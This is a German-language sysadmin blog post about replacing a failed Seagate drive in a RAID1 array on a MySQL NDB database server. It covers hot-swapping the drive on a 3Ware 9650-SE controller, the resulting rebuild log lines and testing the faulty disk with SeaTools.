Auf gut Deutsch heisst das, die eine Platte im RAID1-Verbund hat sich verabschiedet. Standesgemäß laut Murphy natürlich in einem sehr wichtigen Datenbankserver. Klassiker halt. Ich dachte natürlich sofort an den Firmware-Bug. Da aber der Server nachweislich in den letzten 50 Tagen nicht ge-rebootet wurde, kann es das nicht sein.

Also beim Dealer des Vertrauens schnell eine Ersatz-HDD (Samsung allerdings, Seagate bleibt derzeit wohl eher im Laden liegen) und ins Rechenzentrum geeilt. Die Last auf dem Server ist seitdem Ausfall kurioserweise gut angestiegen. So war die LoadAvg bisher immer deutlich unter 1.0 - nun sind es 3.x. Warum das genau der Fall ist, weiss ich nicht wirklich. Ist mir bei bisherigen Ausfällen auch nicht aufgefallen. Auf jeden Fall machen auf dem Server (MySql-NDB-Node) die schreibenden Zugriffe (Logging) locker 90% der Plattenzugriffe aus. Auf "normalen" Servern ist ja i.d.R. genau das Gegenteil der Fall.

Im Rechenzentrum angekommen packte mich der Wahnsinn - ich zog die defekte Platte während des Betriebes raus und schob die neue Samsung rein. In Erwartung eines Serverabsturzes vergingen bange Sekunden, bis folgende Loglines die Stimmung in Begeisterung umschwenkten:

3w-9xxx: scsi0: AEN: INFO (0x04:0x001A): Drive inserted:port=1.
3w-9xxx: scsi0: AEN: INFO (0x04:0x000B): Rebuild started:unit=0.

Der 3Ware 9650-SE ist also tatsächlich HotSwap-fähig. Sehr nett, schließlich führten solche Aktionen soweit ich weiss bei den 7000ern und 8000ern zu komischen Effekten bis hin zum Absturz. Nun läuft seit 5 Stunden das Rebuild, erreicht sind aber bisher nur magere 14%. Aber wir haben ja Zeit. Gespannt bin ich nur noch darauf, ob die Last sich dann endlich wieder in normale Regionen orientiert.

Die ausgebaute Seagate-Platte musste sich dann bei uns im "Labor" (siehe Foto) natürlich diversen Tests unterziehen. Während der Short-Test via Seagate's Toolkit "SeaTools" wenigstens noch durchläuft - zwar mit Fehlern - verabschiedet sich die Platte beim Intensivtest direkt und ist erst nach erneuter Stromzufuhr wieder ansprechbar. Klassischer Fall für die Tonne also, in unserem Fall also für die Rekla.